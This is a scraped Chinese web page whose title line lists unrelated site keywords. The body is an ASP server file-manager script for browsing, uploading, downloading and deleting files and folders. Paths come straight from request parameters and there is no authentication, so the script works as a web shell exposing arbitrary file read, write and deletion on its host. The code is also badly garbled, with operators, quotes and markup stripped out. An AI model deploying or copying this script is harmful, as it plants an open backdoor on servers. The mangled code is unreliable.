海航科技网站建设,微信小程序怎么做店铺,智慧校园,wordpress去除评论rss可以放在服务器上#xff0c;对服务器上的文件进行浏览、上传、下载#xff0c;可下载文件源码。把下所有代码入在一个文件里即可#xff0c;文件的后缀要为asp。thedir request(thedir)if thedir thenfolderini server.mappath(.)…可以放在服务器上对服务器上的文件进行浏览、上传、下载可下载文件源码。把下所有代码入在一个文件里即可文件的后缀要为asp。thedir request(thedir)if thedir thenfolderini server.mappath(.)\elsefolderini server.mappath(thedir)\end iffoldinfotrim(Request.Querystring(foldinfo))if foldinfo thenfoldinfo folderiniend ifclass clsUpDim Form,FileDim AllowExt_Dim NoAllowExt_Private oUpFileStreamPrivate isErr_Private ErrMessage_Private isGetData_Public Property Get VersionVersionv1.0.0End PropertyPublic Property Get isErrisErrisErr_End PropertyPublic Property Get ErrMessageErrMessageErrMessage_End PropertyPublic Property Get AllowExtAllowExtAllowExt_End PropertyPublic Property Let AllowExt(Value)AllowExt_LCase(Value)End PropertyPublic Property Get NoAllowExtNoAllowExtNoAllowExt_End PropertyPublic Property Let NoAllowExt(Value)NoAllowExt_LCase(Value)End PropertyPrivate Sub Class_InitializeisErr_ 0NoAllowExtNoAllowExtLCase(NoAllowExt)AllowExtAllowExtLCase(AllowExt)isGetData_falseEnd SubPrivate Sub Class_Terminateon error Resume NextForm.RemoveAllSet Form NothingFile.RemoveAllSet File NothingoUpFileStream.CloseSet oUpFileStream NothingEnd SubPublic Sub GetData (MaxSize)on error Resume Nextif isGetData_false thenDim getupdata1,sSpace,bCrLf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,oFileInfoDim sFormValue,sFileNameDim iFindStart,iFindEndDim iFormStart,iFormEnd,sFormNameIf Request.TotalBytes isErr_ 1ErrMessage_Exit SubEnd IfIf MaxSize 0 ThenIf Request.TotalBytes MaxSize ThenisErr_ 2ErrMessage_Exit SubEnd IfEnd IfSet Form Server.CreateObject (Scripting.Dictionary)Form.CompareMode 1Set File Server.CreateObject (Scripting.Dictionary)File.CompareMode 1Set tStream Server.CreateObject (ADODB.Stream)Set oUpFileStream Server.CreateObject (ADODB.Stream)oUpFileStream.Type 1oUpFileStream.Mode 3oUpFileStream.OpenoUpFileStream.Write Request.BinaryRead (Request.TotalBytes)oUpFileStream.Position 0getupdata1 oUpFileStream.ReadiFormEnd oUpFileStream.SizebCrLf ChrB (13) ChrB (10)sSpace MidB (getupdata1,1, InStrB (1,getupdata1,bCrLf)-1)iStart LenB(sSpace)iFormStart iStart2DoiInfoEnd InStrB (iFormStart,getupdata1,bCrLf bCrLf)3tStream.Type 1tStream.Mode 3tStream.OpenoUpFileStream.Position iFormStartoUpFileStream.CopyTo tStream,iInfoEnd-iFormStarttStream.Position 0tStream.Type 2tStream.CharSet gb2312sInfo tStream.ReadTextiFormStart InStrB (iInfoEnd,getupdata1,sSpace)-1iFindStart InStr (22,sInfo,name,1)6iFindEnd InStr (iFindStart,sInfo,,1)sFormName Mid (sinfo,iFindStart,iFindEnd-iFindStart)If InStr (45,sInfo,filename,1) 0 ThenSet oFileInfo new clsFileInfoiFindStart InStr (iFindEnd,sInfo,filename,1)10iFindEnd InStr (iFindStart,sInfo,vbCrLf,1)sFileName Mid (sinfo,iFindStart,iFindEnd-iFindStart)oFileInfo.FileName GetFileName(sFileName)oFileInfo.FilePath GetFilePath(sFileName)oFileInfo.FileExt GetFileExt(sFileName)iFindStart InStr (iFindEnd,sInfo,Content-Type: ,1)14iFindEnd InStr (iFindStart,sInfo,vbCr)oFileInfo.FileMIME Mid(sinfo,iFindStart,iFindEnd-iFindStart)oFileInfo.FileStart iInfoEndoFileInfo.FileSize iFormStart -iInfoEnd -2oFileInfo.FormName sFormNamefile.add sFormName,oFileInfoelsetStream.ClosetStream.Type 1tStream.Mode 3tStream.OpenoUpFileStream.Position iInfoEndoUpFileStream.CopyTo tStream,iFormStart-iInfoEnd-2tStream.Position 0tStream.Type 2tStream.CharSet gb2312sFormValue tStream.ReadTextIf Form.Exists (sFormName) ThenForm (sFormName) Form (sFormName) , sFormValueelseForm.Add sFormName,sFormValueEnd IfEnd IftStream.CloseiFormStart iFormStartiStart2Loop Until (iFormStart2) iFormEndgetupdata1 Set tStream NothingisGetData_trueend ifEnd SubPublic Function SaveToFile(Item,Path)SaveToFileSaveToFileEx(Item,Path,True)End FunctionPublic Function AutoSave(Item,Path)AutoSaveSaveToFileEx(Item,Path,false)End FunctionPrivate Function SaveToFileEx(Item,Path,Over)On Error Resume NextDim oFileStreamDim tmpPathDim nohackisErr0Set oFileStream CreateObject (ADODB.Stream)oFileStream.Type 1oFileStream.Mode 3oFileStream.OpenoUpFileStream.Position File(Item).FileStartoUpFileStream.CopyTo oFileStream,File(Item).FileSizenohacksplit(path,.)tmpPathnohack(0).nohack(ubound(nohack))if Over thenif isAllowExt(GetFileExt(tmpPath)) thenoFileStream.SaveToFile tmpPath,2ElseisErr_3ErrMessage_!End ifElsePathGetFilePath(Path)if isAllowExt(File(Item).FileExt) thendoErr.Clear()nohacksplit(PathGetNewFileName().File(Item).FileExt,.)tmpPathnohack(0).nohack(ubound(nohack))oFileStream.SaveToFile tmpPathloop Until Err.number1oFileStream.SaveToFile PathElseisErr_3ErrMessage_该后缀名的文件不允许上传!End ifEnd ifoFileStream.CloseSet oFileStream Nothingif isErr_3 then SaveToFileEx else SaveToFileExGetFileName(tmpPath)End Function取得文件数据Public Function FileData(Item)isErr_0if isAllowExt(File(Item).FileExt) thenoUpFileStream.Position File(Item).FileStartFileData oUpFileStream.Read (File(Item).FileSize)ElseisErr_3ErrMessage_FileDataEnd ifEnd FunctionPublic function GetFilePath(FullPath)If FullPath ThenGetFilePath Left(FullPath,InStrRev(FullPath, \))ElseGetFilePath End IfEnd functionPublic Function GetFileName(FullPath)If FullPath ThenGetFileName mid(FullPath,InStrRev(FullPath, \)1)ElseGetFileName End IfEnd functionPublic Function GetFileExt(FullPath)If FullPath ThenGetFileExt LCase(Mid(FullPath,InStrRev(FullPath, .)1))ElseGetFileExt End IfEnd functionPublic Function GetNewFileName()dim ranNumdim dtNowdtNowNow()ranNumint(90000*rnd)10000GetNewFileNameyear(dtNow) right(0 month(dtNow),2) right(0 day(dtNow),2) right(0 hour(dtNow),2) right(0 minute(dtNow),2) right(0 second(dtNow),2) ranNumEnd FunctionPublic Function isAllowExt(Ext)if NoAllowExt thenisAllowExtcbool(InStr(1,;AllowExt;,LCase(;Ext;)))elseisAllowExtnot CBool(InStr(1,;NoAllowExt;,LCase(;Ext;)))end ifEnd FunctionEnd ClassClass clsFileInfoDim FormName,FileName,FilePath,FileSize,FileMIME,FileStart,FileExtEnd Class%function deletefile(filename)set objfilesysserver.createobject(scripting.filesystemobject)ssfilenamessfoldinfossif objfilesys.FILEExists(ss) thenobjfilesys.deleteFILE ssend ifend functionfunction deletedir(dirname)set objfilesysserver.createobject(scripting.filesystemobject)ssdirnameiddssserver.mappath(ss)if objfilesys.FOLDERExists(ss) thenobjfilesys.deleteFOLDER ssend ifend functionfunction download(filename)Response.Buffer trueResponse.Cleardim urlDim fso,fl,flsizedim DnameDim objStream,ContentType,flName,isre,url1DnamefilenameIf Dname ThenurlfoldinfoDnameEnd IfSet fsoServer.CreateObject(Scripting.FileSystemObject)Set flfso.getfile(url)flsizefl.sizeflNamefl.nameSet flNothingSet fsoNothingSet objStreamServer.CreateObject(ADODB.Stream)objStream.OpenobjStream.Type1objStream.LoadFromFile urlContentTypetext/htmlResponse.AddHeader Content-Disposition,attachment;filenameflNameResponse.AddHeader Content-Length, flsizeResponse.Charset UTF-8Response.ContentType ContentTypeResponse.BinaryWrite objStream.ReadResponse.Flushresponse.Clear()objStream.CloseSet objStream Nothingend functionfunction uploadfiles()filepathfoldinfoset uploadnew clsUpupload.NoAllowExtaepupload.GetData (3072000)if upload.form(act)uploadfile thenfor each formName in upload.Fileset fileupload.File(formName)randomizefilename1file.FileNamefilenamefilepathfilename1if file.FileSize0 thenupload.SaveToFile formName,FileNameend ifset filenothingnextset uploadnothingend ifend functionaction request(action)if action deletefile thenfilename request(filename)deletefile(filename)end ifif action deletedir thendeletedirname request(deletedir)deletedir(deletedirname)end ifif action download thenfilename request(filename)download(filename)end ifif action uploadfiles thenuploadfiles()end if%当前目录:actionuploadfiles enctypemultipart/form-dataFolderSizeLastTimeOperateupfolderleft(foldinfo,len(foldinfo)-1)upfolderleft(upfolder,InstrRev(upfolder, \))if foldinfofolderini thenresponse.write(Go Back)elseresponse.write(Go Back)end if%FileSizeLastTimeOperate Sub ShowFolderList(folderspec)Dim fs, f, f1, fc, s, schild,p,fsizeSet fs CreateObject(scripting.FileSystemObject)Set f fs.GetFolder(folderspec)Set fc f.SubFoldersFor Each f1 in fcs f1.names s vbCrLfp f1.DateLastModifiedfsize f1.Sizeschildfolderspecs\Response.write(Response.write()Response.write(0s)Response.write(fsize)Response.write(p)Response.write()Response.write(DEL)Response.write()Response.write()Response.write()NextEnd SubSub showfolderinfo(folderspc)set MyFileObjectServer.CreateObject(scripting.FileSystemObject)Set MyFolderMyFileObject.GetFolder(folderspc)for each thing in MyFolder.FilesSet afileMyFileObject.GetFile(thing)filenamecodeafile.namefiledetailfolderspcfilenamecodefiledetailreplace(filedetail,\,*s_p_l_i_t*)filesizeafile.sizelastmodifyafile.DateLastModifiedResponse.write(Response.write()Response.write(2filenamecode)Response.write(filesize)Response.write(lastmodify)Response.write()Response.write(DEL )Response.write(DL)Response.write()Response.write()Response.write()NextEnd sub%
